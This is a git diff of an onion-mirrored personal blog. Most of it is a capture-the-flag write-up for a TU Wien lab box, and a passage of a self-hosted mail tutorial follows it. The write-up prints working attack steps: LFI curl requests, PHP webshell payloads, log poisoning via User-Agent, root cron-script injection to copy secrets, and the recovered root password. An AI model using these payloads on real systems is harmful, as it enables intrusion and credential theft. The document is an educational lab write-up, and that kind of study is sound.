    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/pgp/page/1/index.html b/public-onion/tags/pgp/page/1/index.html new file mode 100644 index 0000000..81b1c35 --- /dev/null +++ b/public-onion/tags/pgp/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/pgp/ + + + + + + diff --git a/public-onion/tags/php/index.html b/public-onion/tags/php/index.html new file mode 100644 index 0000000..ecfc9a0 --- /dev/null +++ b/public-onion/tags/php/index.html @@ -0,0 +1,352 @@ + + + + + + + +Php | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    +
    +
    +

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    +
    +
    June 5, 2026 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/php/index.xml b/public-onion/tags/php/index.xml new file mode 100644 index 0000000..c36fce2 --- /dev/null +++ b/public-onion/tags/php/index.xml @@ -0,0 +1,379 @@ + + + + Php on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/php/ + Recent content in Php on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 05 Jun 2026 12:00:00 +0000 + + + A TU Wien CTF where Sysops Klaus left the keys in the cron job + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. + +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/php/page/1/index.html b/public-onion/tags/php/page/1/index.html new file mode 100644 index 0000000..5b1f9ba --- /dev/null +++ b/public-onion/tags/php/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/php/ + + + + + + diff --git a/public-onion/tags/postfix/index.html b/public-onion/tags/postfix/index.html new file mode 100644 index 0000000..c05957f --- /dev/null +++ b/public-onion/tags/postfix/index.html @@ -0,0 +1,354 @@ + + + + + + + +Postfix | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/postfix/index.xml b/public-onion/tags/postfix/index.xml new file mode 100644 index 0000000..a557884 --- /dev/null +++ b/public-onion/tags/postfix/index.xml @@ -0,0 +1,154 @@ + + + + Postfix on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/postfix/ + Recent content in Postfix on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

